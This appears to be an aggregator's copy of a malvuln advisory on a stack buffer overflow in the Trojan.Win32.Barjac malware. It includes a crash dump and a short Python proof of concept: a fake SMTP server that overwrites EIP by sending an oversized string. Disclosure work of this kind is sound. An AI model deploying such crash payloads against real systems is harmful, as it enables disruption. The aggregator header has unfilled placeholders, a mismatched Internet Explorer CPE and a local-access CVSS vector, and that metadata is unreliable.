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TROJAN.WIN32.BARJAC / Remote String Dereference Stack Buffer Overflow

CVE Category Price Severity
CVE-XXXX-XXXX CWE-XXX $XXXX High/Low/Medium/Critical
Author Risk Exploitation Type Date
Author Name Critical/High/Medium/Low Remote 2021-01-05
CPE
cpe:cpe:/a:microsoft:internet_explorer:8.0.6001:beta
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010042

Below is a copy:

TROJAN.WIN32.BARJAC / Remote String Dereference Stack Buffer Overflow
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/62ad686f97faaa68f580d32d25333f51.txt
Contact: [email protected]
Media: twitter.com/malvuln


Threat: Trojan.Win32.Barjac
Vulnerability: Remote Stack Buffer Overflow.
Description: Trojan.Win32.Barjac makes SMTP connection to Port 25, upon processing the server response we control, we overwrite instruction pointer (EIP), undermining the integrity of the trojan.

Type: PE32
MD5: 62ad686f97faaa68f580d32d25333f51
Vuln ID: MVID-2021-0011
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021
[+] Download advisory


Memory Dump:
EAX : 41414141
EBX : 0404DD00
ECX : 00002736
EDX : 0404DD00
EBP : 0019FE78
ESP : 0019FE50
ESI : 00002736
EDI : 00002733
EIP : 41414141

ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141


CONTEXT: 0019f9f0 -- (.cxr 0x19f9f0)
eax=41414141 ebx=03fddd00 ecx=00002736 edx=03fddd00 esi=00002736 edi=00002733
eip=41414141 esp=0019fe50 ebp=0019fe78 iopl=0 nv up ei ng nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293
41414141 ?? ???


Exploit/PoC:
import socket

junk = "A"
payload=junk*65600
port=25

def doit():
global payload

s = socket.socket()
print("Trojan.Win32.Barjac / Remote Buffer Overflow")
print("MD5: 62ad686f97faaa68f580d32d25333f51")
print("By malvuln")

try:
host = ''
s.bind((host, port))
s.listen(5)

while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
except Exception as e:
pass

if __name__=="__main__":
doit()



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